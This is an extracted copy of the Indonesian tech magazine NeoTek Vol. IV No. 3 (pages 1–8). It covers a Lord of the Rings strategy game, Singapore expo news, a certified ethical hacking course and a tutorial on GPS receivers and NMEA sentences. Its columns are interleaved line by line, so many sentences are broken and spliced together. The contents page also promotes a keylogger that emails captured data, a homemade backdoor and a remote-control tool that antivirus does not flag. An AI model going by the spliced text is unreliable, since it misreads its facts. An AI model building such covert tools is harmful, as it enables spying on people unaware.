You are on page 1of 49

NeoSoft

Lord of the Ring


War of The Ring
Kekuatan gelap yang dikendalikan oleh The One Ring bertujuan menguasai Middle Earth untuk
selamanya dengan memusnahkan semua mahluk lain, termasuk manusia, elves, dan dwarves. Kunci
keberhasilan untuk mengalahkan kuasa gelap justru ada pada Hobbit yang sederhana.

ersamaan dengan diluncurkannya film Baik War of The Ring maupun The Hobbit da-
B ketiga dari trilogi Lord of The Ring: The pat anda peroleh playable demo-nya dalam CD
Return of The King, diluncurkan pula real-time NeoTek kali ini.
strategy game War of The Ring. Kebutuhan hardware untuk memainkan game
Mengikuti cerita modern classic dari R.J.J. Tolkien ini agak tinggi, yaitu paling tidak Pentium III 800
mengenai pertarungan antara kebaikan melawan MHz dan yang terutama VGA card dengan akse-
kegelapan yang dikendalikan oleh The One Ring. lerasi 3D de-
Kuasa kegelapan berusaha menguasai selamanya ngan RAM 32
Middle Earth, yang dihuni oleh manusia, elves, Mbyte.
dwarves, serta hobbit. Menggunakan
Hobbit, manusia pendek dengan kaki berbulu VGA card de-
dan paling lemah dibandingkan semua makhluk ngan RAM 16
yang lain, justru merupakan tokoh sentral da- Mbyte me-
lam trilogi Lord of The Ring. mang masih
Trilogi War of The Ring mencakup: mungkin, te-
tapi rendering
• Fellowships of The Ring grafiknya agak
• The Two Towers lama dan meng-
• The Return of The King ganggu kenya-
Pendahuluan dari trilogi ini adalah karya Tolkien manan ber-
yang lain, The Hobbit, yang juga dibuatkan main.
game-nya.
HomePage

amkm Salam!
anda Memahami GPS:
meminta Melacak Sampai ke Ujung Dunia
kami
mendownload
tidak dilanjutkan lagi

Keterbatasan tempat
pada CD NeoTek
membuat program
ini tidak efektif dan
terlalu banyak yang ter-
tunda untuk dapat dimuat • Kini dengan PDA Pocket PC yang dilengkapi CF GPS receiver serta peta
navigasi yang GPS-enabled, anda mendapatkan co-pilot yang menunjukkan jalan
dalam CD NeoTek dalam berkendara di berbagai kota di seluruh dunia, termasuk di Pulau Jawa.

Jadi layanan ini terpaksa


udah tidak ada lagi alasan tidak tahu jalan atau ter-
dihentikan
dengan S sesat sekarang ini di mana pun di atas muka bumi.
Satelit-satelit GPS menetapkan posisi anda sampai
bertahap tetap
akan ketelitian hanya 3 meter! Inilah efek positif upaya perang
memenuhi bintang untuk kepentingan navigasi perjalanan.
permintaan yang sudah
masuk. Redaksi
redaksi@neotek.co.id

Perubahan Harga NeoTek+CD


Pulau Jawa Rp19.500,-
Luar Jawa Rp22.000,-
Bagaimana menghubungi N EOTEK?
KONTRIBUSI ARTIKEL
redaksi@neotek.co.id ADMINISTRASI IKLAN
SURAT PEMBACA Tel. 021-5481457 Fax. 021-5329041
support@neotek.co.id SIRKULASI NEOTEK
WEBMASTER Tel. 021-5481457
webmaster@neotek.co.id ALAMAT REDAKSI
PEMASARAN 4 Cairnhill Rise
pemasaran@neotek.co.id #05-01 The Cairnhill
Singapore 229740
CHATROOM DI DALNET Telp. +65-67386482
#neoteker kosasih@indo.net.id
MILIS PARA NEOTEKER
http://groups.yahoo.com/group/majalahneotek

Vol. IV No. 03 NeoTek 1


Daftar Isi

Daftar Isi NeoTek Vol. IV No. 3


FOKUS VOL. IV NO. 3
NeoTutor
32 Keylogger Mengirim
Attachment Email
Setelah keylogger mampu mengirim
‘hasil panenan’ berupa email, maka
kemampuan mengirim attachment
membuatnya semakin perkasa.

MEMAHAMI GPS: 34 VB: Membuat Email


Client Sendiri
Melacak Sampai ke Ujung Dunia Manfaatkan component object model
devmailer.dll untuk membuat email
client menggunakan Visual Basic.
11 Berbagai Software GPS
NeoStart Periksa apakah GPS receiver
anda bekerja dengan baik mengguna- 36 VB: Membuat Notepad
Sendiri
kan GPS Receiver Tester. Bila sudah,
Dengan Visual Basic kita dapat mem-
6 Memahami GPS:
Melacak Sampai ke
bisa digunakan bersama berbagai
peta navigasi yang tersedia untuk ber- buat text editor sendiri yang serupa
dengan Notepad.
Ujung Dunia bagai kota dunia.
Untuk tidak tersesat di alam bebas,
kini sudah tidak perlu susah-payah
mempelajari rasi bintang, cukup gu-
13 Navigasi dengan GPS
atau LBS? 40 Kembali ke Dasar:
Teks Editor Pico
nakan GPS (Global Positioning Sys- Berbeda dengan GPS yang mengandal- Ingin punya shell account atau kom-
tem) receiver. Apalagi bila dibantu kan satelit, LBS mengandalkan tower pilasi software sendiri? Pelajari dulu
peta navigasi yang GPS-enabled, bisa sistem telepon seluler untuk menetapkan prasayaratnya: mahir menggunakan
berkendara dengan auto-pilot. posisi seseorang. text editor pada Linux, seperti Pico.

Situs NeoTek www.neotek.co.id


neotek.kpone.com.sg NeoReview
Jadikan situs NeoTek sebagai pangkalan Anda berselancar
Link Langsung Layanan Rupa-rupa NeoTek 45 Konversi Video:
DVD Menjadi VCD
Kunjungi situs-situs yang dibahas di Channel #neoteker di Dalnet
majalah NeoTek dengan sekali klik Mengubah DVD video yang ukurannya
Ngobrol ramai-ramai sesama NeoTeker
lewat situs NeoTek. 4,7 Gbyte menjadi 2 keping VCD dengan
Web Chat Room mutu lumayan ternyata cukup merepot-
Kini tidak usah jauh-jauh untuk ngobrol kan. Konversi langsung ke AVI akan
NeoTek versi PDF langsung dengan sesama NeoTeker
Kehabisan NeoTek di kota Anda? memerlukan 150 Gbyte!
Dapatkan saja versi PDF-nya. Gratis! Mailing List
Ini yang paling ramai. Segera ikutan Terpaksa dilakukan ripping dan seterus-
berbagi pengalaman berinternet! nya dikonversi menjadi file AVI ‘setengah
Download jadi’ yang kemudian diubah lagi ke file
Tersedia juga download di situs NeoTeker Official Portal
http://www.neoteker.or.id MPG-1 untuk VCD.
NeoTek selain dari situs aslinya
Situs komunikasi antar Neoteker. Hasilnya masih 1,3 Gbyte dan tidak muat
Neoteker Internet Radio dalam CD-R. Jadi bagaimana?
http://dj.neoteker.or.id:8000

2 NeoTek Vol. IV No. 03


Daftar Isi

NeoStyle 18 Playback Video


dengan MMAPI
Menggunakan MMAPI untuk mem-
NeoSoft
playback video pada Series 60 Lord of the Ring
14 Musik dengan MMAPI Emulator. 0 War of the Ring
Belajar menggunakan Strategy game yang paling
ToneControl yang merupakan bagian ditunggu-tunggu di awal
dari Multi Media API. 19 Video Editing dengan
Pinnacle Studio 8 tahun ini.

16 Membuat Ringing
Tone dengan Java
Kini saatnya mempraktekkan com-
bining (di antaranya dengan membuat
storyboard) dan editing menggunakan
NeoProfil
Setelah menguasai ToneControl kita fungsi-fungsi yang terdapat pada Editorial Office
buat proyek kecil membuat ringing Pinnacle Studio 8 3 4 Cairnhill Rise
tone dengan Java. #05-01 The Cairnhill
Singapore 229740
Telp. +65-67386482
28 VNC Sebagai Spion
NeoTekno Boss di Kantor
Adanya akses Internet di kantor sering
Business Office
Gedung Cahaya Palmerah 503
disalahgunakan oleh karyawan. Hal Jl. Palmerah Utara III No. 9

22 Bahaya Backdoor
Rootkit
yang memusingkan para boss. De-
ngan sepengetahuan karyawan (kalau
Jakarta 11480
Telp. 021-5481457
Jangan sembarangan menggunakan tidak, salah-salah malah boss yang Fax. 021-5329041
backdoor rootkit yang banyak berte- kena tuntut soal privacy), kini para
baran di Internet. Salah-salah anda boss boleh saja mengawasi apa yang Pemimpin Umum
sendiri yang kena hack. Paling baik dikerjakan di depan komputer. Bukan Fachri Said
buat backdoor sendiri menggunakan dengan keylogger, melainkan thin Pemimpin Redaksi
openSSH yang paling mutakhir! client software seperti VNC ini.
Kosasih Iskandarsjah
Redaktur Ahli

24 Seperti Trojan Tapi


Bukan: COOL! 31 Kirim SMS Gratis
Mentari/Matrix
Onno W. Purbo
Michael S. Sunggiardi
Remote Control Bukan hacking, cracking, ataupun Pemimpin Usaha
Remote control tool ini banyak fung- kegiatan ilegal. Mengirim SMS gratis Fahmi Oemar
sinya seperti layaknya trojan, tetapi memang fasilitas yang disediakan Dadang Krisdayadi
tidak akan dikenali sebagai trojan oleh Satelindo. Masalahnya harus Redaktur Pelaksana
oleh software anti virus. Asyik meng- tahu prosedur pendaftaran dan Gianto Widianto
gunakan seperti namanya: COOL! penetapan filter email.
Sekretaris Redaksi
Marni
NeoRagam NeoTek Vol. IV No. 04 Webmaster
Supriyanto
Klak Klik
4 WarCraft III: Reign of Chaos
Laporan dari SITEX 2003
Wi-Fi Security: Otentikasi
Pemakai
Sirkulasi
Hedhi Sabaruddin, Denny
CD-R Akan Punah Menyusul Onno W.Purbo kembali membuka
Floppy? cakrawala kita dengan membahas
Adm. Langganan
Borland J Builder X bahwa Wi-Fi yang security-nya agak KRISHNAdiSTRIBUTOR
Singapore Learning Expo 2003 sulit itu dapat diamankan dengan Iklan dan Promosi
5 Sekolah Hacker Bersertifikat
GPS Receiver Semakin
sistem otentikasi pemakai. Gianto Widianto

Terjangkau Malware pada Handphone Keuangan


Aswan Bakri
Daftar Isi CD NeoTek Malicious code pada PC sudah banyak
44 GPS Software
Computer Optimizer
dikenal orang, tetapi pada handphone?
Bank
Bank BNI
Konversi DVD Menjadi VCD
45 Memindahkan Isi DVD ke Hard
Disk
a.n. PT NeoTek Maju Mandiri
No. rekening 070.001709720.001
Decode dan Konversi VOB File
Membentuk MPG File untuk PAL Bank BCA Matraman
VCD (khusus untuk langganan)
Membelah Dua File MPG a.n. Boedi Krishnadi
Burn File MPG Menjadi VCD No. rekening 342-239-1611

Vol. IV No. 03 NeoTek 3


NeoRagam

Klak Klik LAPORAN DARI SITEX 2003, SINGAPORE EXPO 27-30 NOVEMBER

GAME BULAN INI


CD-R Akan Punah Menyusul Floppy?
ahwa kini sudah se- komputer maupun DVD menggantikan CD Media se-
B
Lord of The Ring
War of The Ring makin banyak yang player, maka DVD-RAM bagai media penyimpanan
122,562 MB
tidak lagi menggu- hanya bisa dibaca di drive eksternal?
nakan floppy sudah semakin khusus untuk itu. Seperti juga floppy yang cu-
jelas. Media floppy yang ha- DVD Media Semakin Murah ma 1,44 Mbyte masih sem-
nya 1,44 Mbyte sudah ter- pat bertahan terhadap CD
lalu kecil untuk keperluan Media plastik yang diguna-
kan membuat CD-R/RW Media yang 700 Mbyte de-
masa kini dan CD serta flash ngan harga relatif sama ada-
drive sudah menjadi alter- sama dengan yang dipakai
untuk DVD-R/RW. Yang lah banyaknya komputer tua
natif penggantinya. yang belum mempunyai CD
membedakan adalah lapis-
Apakah akan terpikir bah- annya, terlihat bahwa CD- ROM drive. Juga kelak ba-
wa media CD-R yang kini R/RW berwarna bening, se- nyaknya komputer yang be-
murah-meriah dan sangat dangkan DVD-R/RW war- lum mempunyai DVD drive
populer itu akan menyusul nanya purple. yang akan membuat CD
ertarungan untuk
P menghancurkan The
floppy? Mungkin tidak da-
lam waktu dekat, tetapi se- Harga bahan baku dye ini-
Media masih sempat ber-
tahan
One Ring terus berlang- lah yang menjadi penentu
sung pada real time strate- makin murahnya media Paling Tidak Combo Drive
DVD sudah menjadi per- perbedaan harga antara CD
gy game berdasarkan karya
modern classic R.J.J. Tolkien tanda arah itu. Media dengan DVD Media. Memang DVD writer su-
yang sukses di layar putih. Tapi harga dye ini semakin dah semakin murah (diba-
DVD Media turun dan dicerminkan pada wah SGD300), tetapi tidak
Kekuatan kebaikan dan ke- DVD Media berbeda dengan harga DVD Media sekarang. semua orang memerlukan-
gelapan bertempur dengan
tujuan utama menghancur-
CD Media mempunyai be- Apabila CD Media bulk bisa nya, kecuali perlu untuk
kan The One Ring. berapa format perekaman: diperoleh dengan harga 50 membuat DVD film sen-
DVD-R/RW, DVD+R/RW, sen (setara Rp2500,-) maka diri, tapi membeli kompu-
Pada versi demo ini hanya dan DVD RAM. ter baru yang hanya me-
tersedia opsi single player DVD Media bulk kini har-
dan anda hanya bisa me- Yang pertama adalah yang ganya SGD2 (setara 10 ribu nyediakan CD ROM drive
milih mewakili pihak kebaik- paling lazim dan paling rupiah). Harga DVD Media atau CD writer kini kurang
an (Good Campaign) de- murah, sedangkan yang akan cenderung turun terus bijaksana.
ngan dua campaign: kedua diperkenalkan oleh dalam bulan-bulan men- Paling tidak dapatkan Com-
The Pursuit of Golumn Sony untuk menyaingi datang mendekati harga CD bo drive, yaitu DVD ROM
The Siege of of the Iron Hills yang ketiga (DVD-RAM). Media. dan CD writer dalam satu
Pentium III 800, RAM256
Apabila DVD-R/RW atau Apabila harganya sudah de- disk. Bisa digunakan untuk
32MB 3D accelerator with T&L,
DirectX 9 DVD+R/RW setelah kat, dengan perbedaan kapa- mem-burn CD serta mem-
direkam membentuk sitas 700 Mbyte dan 4,7 baca DVD Media.
Prelude to Lord of The Ring format DVD-ROM yang Gbyte. Apa yang masih akan Semakin banyak orang yang
The Hobbit bisa dibaca pada DVD drive menghalangi DVD Media akan menjadi videomen.
129,920 MB
Borland JBuilder X Convention Center, Singa- sendiri percepatan terjadi
Walaupun Java dikembang- pore, 17 November 2003. dengan adanya EJB designer,
kan oleh Sun Microsystem, Kata kunci untuk JBuilder Struts designer, web server
development tool yang pa- adalah acceleration (perce- designer, dan visual DD
ling banyak dkipakai adalah patan). editor.
JBuilder dari Borland. Percepatan ALM Personalized IDE
Dengan JBuilder serta tool ALM (Application Life- Begitu banyaknya fasilitas
lainnya pengembangan ap- cycle Management) diper- yang disediakan JBuilder,
likasi menjadi sangat sis- cepat dengan adanya ver- dapat mengganggu konsen-
ole-playing game de- tematis dan cepat. Borland sion, development, request, trasi developer. Untuk itu
R ngan anda sebagai meng-claim bahwa mereka dan bug tracking manage- dapat dilakukan personal-
Bilbo Baggins dalam per- menggunakan tool mereka ment. izing terhadap IDE.
jalanan dari Hobbiton yang sendiri untuk mengembang- Percepatan Coding Visualisasi dan Platform
damai ke Mirkwood Forest kan software-software me-
yang gelap dan angker, Pembuatan program baris Struts Designer memvisual-
reka. Tidak heran apabila isasi aliran aplikasi, serta plat-
sampai akhirnya mencapai verski-versi baru JBuilder per baris dipercepat dengan
Lonely Mountain. refactoring, code insight, form independent dan dapat
bisa muncul kurang dari digunakan dengan berbagai
Musuh anda adalah Smaug setahun. error insight, scope, tag, tem-
plate, synchronized edit, application server: Weblogic,
the dragon. Baru saja kita mengenal Websphere, JBoss, dll.
code folding, dll.
Pentium III 450, RAM128 JBuilder 9, kini sudah mun- Crystal Report for JBuilder X
32MB 3D accelerator
cul lagi JBuilder X, yang Percepatan J2EE
diluncurkan di Raffles Terhadap proyek Java-nya Untuk corporate developer,
fasilitas ini sangat membantu.

4 NeoTek Vol. IV No. 03


NeoRagam

SINGAPORE LEARNING EXPO 2003: C|EH CERTIFIED ETHICAL HACKER

Sekolah Hacker Bersertifikat


au menjadikan hack- Peluang ini yang diambil • Trojan and Backdoors
M ing suatu profesi?
Kini kegemaran
oleh Informatics, suatu
kursus komputer di Singa-


Sniffers
Denial of Service
yang semula tidak terlihat pore dengan menyeleng- • Social Engineering
serius bahkan terkesan na- garakan Certified Ethical • Session Hijacking
kal ini dapat menjadi profesi Hacking Programme. • Hacking Web Servers • Cryptography
yang memberikan pengha- Apa yang Diajarkan? • Web Application • Penetration Testing
silan lumayan besar dalam Vulnerabilities Methodologies
profesi IT. Pembaca NeoTek mungkin • Web Based Password
sudah tidak asing lagi de- Cracking Techniques Kursus ini tidak murah,
Trend Cyberterorrism ngan bahan-bahan peng- sekitar SGD5000. Peluang
• SQL Injection
Ramai-ramai tetorisme di ajaran yang diberikan da- • Hacking Wireless Networks baru untuk penyelenggara
seluruh dunia membuat lam program C|EH ini: • Virus and Worms kursus di Indonesia juga.
perusahaan-perusahaan • Ethic and Legality • Novell Hacking Untuk informasi lebih lan-
besar di seluruh dunia men- • Footprinting • Linux Hacking jut kunjungi web site:
cari staf IT yang melek- • Scanning • IDS, Firewalls, and http://www.informaticsgroup.
hacking, selain tentunya • Enumeration Honeypots com/ipdc/ hacking.htm
beretika. • System Hacking • Buffer Overflows

GPS Receiver Semakin Terjangkau


ini GPS (Global Positioning System) receiver bukan
K saja semakin mudah digunakan, melainkan juga se-
makin terjangkau, selain juga tampil sebagai periferal un-
tuk laptop atau PDA, bukan sebagai handset tersendiri.
Holux GPS Receiver buatan Taiwan ini tampil dalam bentuk
GPS CF Receiver (dapat juga digunakan pada laptop mela-
lui CF to PCMCIA adaptor) serta berupa GPS Mouse Re-
ceiver yang dapat dikoneksikan ke PDA dan/atau laptop
melalui kabel serial, serta GPS Bluetooth Receiver.
Selain dijual tersendiri, GPS Receiver ini oleh Dconnex
www.dconnex.com) dibundel bersama peta elektronik
(w
Singapore (tersedia untuk Pocket PC) buatan KingMAP
USA dengan harga:
GPS Mouse Receiver (+ peta), SGD358 Pada Pocket PC (paling kiri) dapat langsung dipasangkan
GPS CF Receiver (+ peta), SGD398 Holux GPS CF Receiver (paling kanan). Apabila ingin
GPS CF Receiver Ultra (+peta), SGD438 dipasangkan di port PCMCIA di laptop, gunakan adaptor
GPS Bluetooth Receiver (+ peta), SGD529 (tengah).
Apabila tanpa peta harganya masing-masing SGD199, mengembangkan GPS map di berbagai tempat di dunia
SGD259, SGD299 (tipe Bluetooth hanya dijual sebagai dengan nama:
bundel dengan peta). Adapun petanya sendiri dijual • KingMAP USA
dengan harga SGD169, jauh lebih murah dibanding peta • KingMAP Europe
GPS Jakarta yang dipasarkan oleh NusaMap GPS (1,5 juta • HandyMAP South Africa
rupiah). • MapKing Asia (HongKong)
MapKing sendiri terdiri dari perusahaan-perusahaan yang • PaPaGO! (Taiwan)
• LeadStar (China)
Peta GPS untuk kota-kota di USA dan Eropa
Holux GPS Receiver menyediakan CD yang berisi driver serta GPS Viewer v1.0 sudah banyak tersedia, dan kini juga untuk
kota-kota di Asia Timur seperti HongKong,
Taiwan, China, Jepang, dan Korea.
Adapun untuk Asia Tenggara baru tersedia
untuk Singapore dan Kuala Lumpur (dari
KingMAP) serta Jakarta (dari NusaMap).
KingMap dalam waktu dekat akan mener-
bitkan peta GPS untuk Bangkok. Jakarta
masih dalam perencanaan.
Apabila sudah terbit, anda mendapatkan
alternatif murah-meriah untuk navigasi
GPS di Jakarta.

Vol. IV No. 03 NeoTek 5


NeoStart

M E MAHAM I G PS R E C E IVE R
Melacak Sampai Ke Ujung Dunia
GPS (Global Positioning System) merupakan suatu teknologi yang kompleks yang
dikembangkan oleh Departemen Pertahanan Amerika Serikat untuk keperluan navigasi militer.
Namun kini tersedia juga untuk kepentingan swasta bahkan pribadi di seluruh dunia.

Lebih dari itu, software yang


N
ENEK MOYANG KITA PERLU BERSUSAH PAYAH AGAR TIDAK
tersesat seperti membangun monumen sebagai pe- tersedia baik itu untuk PC, Mac,
nanda tempat, membuat peta rinci yang memakan Pocket PC, dan Palm OS sudah
waktu dan tenaga, serta mempelajari bintang-bintang. Kita banyak tersedia, khususnya
sekarang bisa dengan mudah membeli peta (cetakan) dan untuk negara-negara yang
sekarang juga alat navigasi GPS (Global Positioning System) masyarakatnya peta-minded
yang menginformasikan koordinat anda di atas muka bumi seperti AS dan Eropa. Di luar kedua kawasan itu,
dengan harga tidak sampai 2 juta rupiah. peta elektronik yang tersedia masih terbatas, itupun StreetPilot II
Asalkan udara cerah dan anda membawa alat umumnya untuk Asia Timur atau Afrika Selatan.
navigasi GPS, maka anda tidak perlu takut ter-
sesat. GPS handheld yang sederhana seperti Bagaimana Cara Kerjanya
Garmin GPS 72 ini hanya menginformasikan Penentuan lokasi menggunakan metode yang dikenal se-
posisi anda (lintang dan bujur) yang untuk bagai trilateration, yaitu apabila posisi kita dikenali dari tiga
orang awam mungkin tidak terlalu berguna. titik (atau lebih) maka posisi kita tepatnya dapat ditentukan.
Namun StreetPilot II, juga dari Garmin adalah Untuk menentukan posisi tepat sesuatu atau seseorang di
GPS receiver lengkap dengan peta yang built-in atas muka bumi (atau terbang di atasnya) maka Departemen
untuk keperluan pengendara mobil, jelas sudah Pertahanan Amerika Serikat mengorbitkan 27 satelit me-
kegunaannya bagi orang awam. ngelilingi bumi (24 yang beroperasi dan 3 sebagai cadangan)
GPS receiver dapat juga berbentuk suatu peri- Trilaterasi untuk Menentukan Lokasi
feral untuk komputer, yang mengirimkan hasil GPS pada dasarnya adalah konstelasi dari ke-27 satelit ini
tangkapan sinyal satelit ke komputer melalui yang dengan tenaga surya mengelilingi bumi pada keting-
serial port, USB port, ataupun bila pada laptop gian 19.300 km. Orbitnya diatur sedemikian rupa sehingga
Garmin GPS 72 melalui slot PCMCIA. pada setiap saat di manapun di atas muka bumi, akan ‘ter-
Dengan populernya PDA, tersedia pula GPS receiver baik lihat’ paling sedikit 4 satelit.
untuk Pocket PC maupun Palm OS device yang terhubung Untuk menentukan posisi anda, paling tidak ada dua hal
lewat Bluetooth ataupun berupa CF card atau SD card. yang perlu diketahui:

Instalasi GPS Viewer pada PC

DIKENALI SEBAGAI DI COM1 INSTAL GPS VIEWER JALANKAN GPS VIEWER


1 Menggunakan CF to PCMCIA adap-
tor, sisipkan GPS CF card ke port
2 Instal GPS Viewer 1.0.1 yang ada di
CD NeoTek. Apabila Pocket PC
3 Double click pada icon di desktop
untuk menjalankan GPS Viewer.
PCMCIA laptop. Akan dikenali se- terhubung, maka selain pada PC, Klik tombol Scan... dan GPS Viewer
bagai CompactFlash pada port maka software ini akan terpasang akan men-scan COM1 sampai
COM1 (pada contoh ini). Apabila pula pada Pocket PC. Anda boleh COM10 dan mendapatkan GPS
instal pada Pocket PC, Pocket PC saja meng-instal GPS Viewer walau- receiver pada salah satunya (di sini
terhubung lewat craddle dan pun belum mempunyai GPS re- di COM1).
ActiveSync sudah berjalan. ceiver. Sekedar untuk belajar.

6 NeoTek Vol. IV No. 03


NeoStart

Pada waktu tertentu (misalnya tengah malam) satelit mulai


mengirimkan pola digital yang panjang yang dikenal seba-
gai peudo-random code. Receiver juga mulai menjalankan
pola digital yang sama pada tengah malam. Pada waktu si-
nyal satelit mencapai receiver, transmisi pola ini akan ter-
dapat keterlambatan atau tunda (delay) sedikit dibanding-
kan pola yang sama dari receiver.
Jangka waktu tunda ini adalah waktu perjalanan sinyal dari
satelit mencapai receiver dan dari sini jarak dapat dihitung.
Untuk memungkinkan hitungan ini jam pada receiver ha-
rus disinkronisasikan dengan jam atom pada satelit sampai
dengan ketelitian nano-detik (sepermilyar detik).
Setelah menerima sinyal dari keempat satelit, GPS receiver
akan membentuk empat bidang bola yang berpotongan pa-
da satu titik. Tiga bidang pasti berpotongan di satu titik, te-
tapi tidak dengan bidang yang keempat. Hal ini dikarenakan
GPS receiver menghitung keempat jarak itu dengan built-in
clock-nya sendiri sehingga menghasilkan ketidaktepatan
Konstelasi satelit-satelit GPS yang mengorbit di atas bumi. yang proporsional (pproportionally incorrect).
Receiver dengan mudah melakukan penyesuaian agar ke-
• Lokasi paling sedikit 3 satelit di atas anda.
empat bidang itu berpotongan di satu titik dan pada saat
• Jarak antara anda dengan masing-masing satelit itu.
itulah GPS receiver mensinkronisasi quartz clock-nya de-
GPS receiver mendapatkan kedua hal di atas dengan meng- ngan atomic clock pada satelit.
analisa sinyal radio dari satelit-satelit GPS ini. GPS receiver
Agar jarak yang ditemukan itu bermanfaat, lokasi persis sa-
yang baik mempunyai beberapa receiver agar dapat mene-
telit perlu diketahui dan ini tidak sulit sebab semua satelit
rima sinyal dari beberapa satelit secara bersamaan. Holux
GPS CF Receiver yang dibahas dalam NeoTek kali ini dapat sudah diketahui orbitnya. GPS receiver menyimpan almanac
yang berisi informasi mengenai satelit apa yang perlu ada
mengenali 12 satelit pada setiap saat.
di mana pada setiap waktu.
Gelombang radio adalah suatu energi elektromagnetik yang
Tarikan matahari dan bulan akan mengganggu posisi satelit,
berjalan dengan kecepatan cahaya (300.000 km per detik
tetapi Departemen Pertahanan Amerika terus-menerus me-
dalam keadaan vakum). GPS receiver menghitung jaraknya
monitor posisi persis satelit-satelit ini dan mentransmisikan
ke satelit itu dengan menghitung lamanya waktu yang di-
setiap penyesuaian ke GPS receiver sebagai bagian dari si-
perlukan sinyal untuk sampai ke bumi.
nyal satelit.
Mengukur Jarak
Menghitung jarak yang begitu jauh secara tepat memerlu- Differential GPS
kan penetapan waktu yang presisi. Untuk itulah setiap sa- Perhitungan di atas mengasumsikan bahwa sinyal radio
telit GPS dilengkapi dengan jam atom yang mahal. Suatu memancar pada laju yang konsisten, padahal sewaktu mele-
GPS receiver dapat mensinkronasi jamnya dengan satelit. wati atmosfer akan mengalami perlambatan. Perlambatan ini

Menjalankan GPS Viewer

OPEN GPS SATELIT DIKENALI SAMPAI 2D ACQUIRING: 3D


4 Klik Open GPS dan terlihat NMEA
sentences pertama (tanpa acqui-
5 Selang 15 menit date dan time se-
suai dengan yang sebenarnya dan
6 Setelah Acquiring: 3D maka semua
data lokasi kita di bumi diketahui
sition) di-broadcast oleh GPS rec- sudah satelit-satelit sudah dikenali, selain waktu juga sudah disinkronisasi.
eiver. Baik date maupun time ma- tetapi karena belum diketahui po- Satelit yang diketahui posisinya sudah
sih belum benar dan longitude sisinya (Acquiring: No), longitude lebih dari 3 (disini sampai 6 satelit).
serta latitude masih kosong. Belum dan latitude masih belum benar. Ba- Terlihat selain longitude dan latitude,
ada acquiring posisi (Acquiring: ru setelah Acquiring: 2D dengan 3 tempat redaksi NeoTek di Singapore
No) walaupun ke-12 channel satelit, longitude dan latitude benar, ini ketinggiannya (altitude) 70 m di
satelit sudah dikenali. tetapi altitude belum diketahui. atas permukaan laut.

Vol. IV No. 03 NeoTek 7


NeoStart

akan tergantung pada posisi anda di atas muka bumi. Masa- NMEA Sentence type yang paling lazim digunakan adalah:
lah yang serupa juga terjadi apabila sinyal radio menumbuk $GPGGA Global Positioning System Fix Data
obyek yang besar seperti gedung pencakar langit. Di atas $GPGLL Geographic Position - Latitude/Longitude
semua itu, satelitnya sendiri kadang-kadang mengirimkan $GPGSA GNSS DOP and Active Satellites
data almanak yang keliru. $GPGSV GNSS Satellites in View
Differential GPS (DGPS) mengatasi kesalahan-kesalahan $GPRMC Recommended Minimum Specific GNSS Data
ini dengan cara membandingkan ketepatan GPS dengan $GPVTG Course Over Ground and Ground Speed
suatu stasiun penerima di bumi yang sudah diketahui po- Contoh suatu $GPGGA Sentence (Fix data) tanpa data
sisinya. Karena hardware DGPS pada stasiun bumi sudah acquisition:
mengetahui posisinya sendiri, maka dengan mudah dapat
menghitung ketidaktepatan penerimanya. Stasiun ini ke- $GPGGA,235947.000,0000.0000,N,00000.0000,E,0,00,0.0,0.0,M,,,,0000*00
mudian mem-broadcast sinyal radio ke semua receiver dan contoh sentence sewaktu data acquisition:
yang dilengkapi dengan DGPS, memberikan sinyal yang
$GPGGA,092204.999,4250.5589,S,14718.5084,E,1,04,24.4,19.7,M,,,,0000*1F
berisi koreksi informasi untuk daerah tersebut.
yang terdiri dari:
NMEA Sentences Sentence ID $GPGGA
NMEA adalah singkatan dari National Marine Electronics UTC Time 092204.999 hhmmss.ss
Latitude 4250.5589 ddmm.mmmm
Association, suatu badan yang menerbitkan spesifikasi yang N/S Indicator S N = north, S = south
mendeskripsikan berbagai perlengkapan navigasi agar dapat Longitude 14718.5084 dddmm.mmmm
berkomiunikasi satu sama lain melalui koneksi serial RS-232 E/W Indicator E E = east, W = west
atau emulasinya (misalnya USB port). Ada beberapa ge- Position Fix 1 0 = invalid, 1 = valid
nerasi spesifikasi NMEA. Yang kita pakai sekarang adalah Satellites Used 04 0 - 12
NMEA 0183 versi 2.0 HDOP 24.4 Horz. dilution of precision
Altitude 19.7 Alt. in meter
GPS receiver menggunakan berbagai jenis protokol komuni- Altitude Units M M = meters
kasi. Beberapa protokol bersifat propretiary dan untuk keper- Geoid Separation Geoid sep. in meters
luan khusus, sedangkan yang bersifat publik dan didukung Separation Units M = meters
oleh banyak GPS receiver adalah protokol NMEA 0813. DGPS Age Age of DGPS data (seconds)
Suatu GPS receiver yang NMEA-compliant mem-broadcast DGPS Station ID 0000
Checksum *IF
informasi yang disebut NMEA Sentences melalui port serial Terminator CR/L
dengan laju transmisi 4800 baud.
WAAS/EGNOS
Tampilan NMEA Sentences
Sistem DGPS dikembangkan oleh banyak lembaga untuk
Setiap NMEA Sentence dimulai dengan $ yang diikuti oleh meningkatkan ketepatan GPS.
lima karakter yang mendefinisikan piranti sumbernya serta
jenis sentence itu sendiri. Sentence yang berbeda ditujukan WAAS (Wide Area Augmentation System) di Amerika
untuk pemakaian yang berbeda pula dan berisi field infor- menggunakan beberapa stasiun bumi untuk menghasilkan
masi yang berbeda pula. Setiap field dibatasi dengan koma. data terkoreksi dari 15 meter pada GPS menjadi sampai
Untuk mendapatkan informasi latitude dan longitude digu- ketepatan kurang dari tiga meter. WAAS untuk Eropa
nakan sentence $GPGGA, $GPGLL, dan $GPRMC. dikenal sebagai EGNOS.

Navigasi Perjalanan dengan GPS Receiver dan KingMap Pocket PC

AKTIFKAN GPS MEMBUAT ROUTE SIMULASI & SESUNGGUHNYA


7 Pada KingMap Pocket PC pilih
Tools > GPS > Enable GPS dan port
8 Tap/tahan pada tempat kita dan pilih
dari menu Route > Add as Start. Di
9 Klik icon Route Planner atau Tools >
More > Route Planner... akan ditam-
GPS akan dibuka. Lalu pilih lagi tempat pada peta tujuan tap/tahan pilkan Distance yang akan ditempuh.
Tools > GPS > GPS Status... dan pilih Route > Add as End. Apabila ada Tap Simulate untuk mensimulasikan
tampak GPS Viewer. Tunggu titik stop di antara keduanya tap/tahan perjalanan. Apabila GPS Okay, posisi
sampai GPS Okay dan Acquiring: dan pilih Route > Add as Stop. Setelah anda akan ditandai dengan gambar
3D. Sementara menunggu kita itu klik icon Get Directions atau Tools mobil hijau. Anda bisa memulai per-
bisa mulai membuat rencana > More >Route Planner > Get Direction. jalanan dengan dipandu GPS, baik
route perjalanan. Untuk mensimulasikan perjalanan: secara grafis maupun suara.

8 NeoTek Vol. IV No. 03


NeoStart

Hot Start sebagai kebalikannya menggunakan semua data


yang sudah pernah dikumpulkan, dan terutama meng-
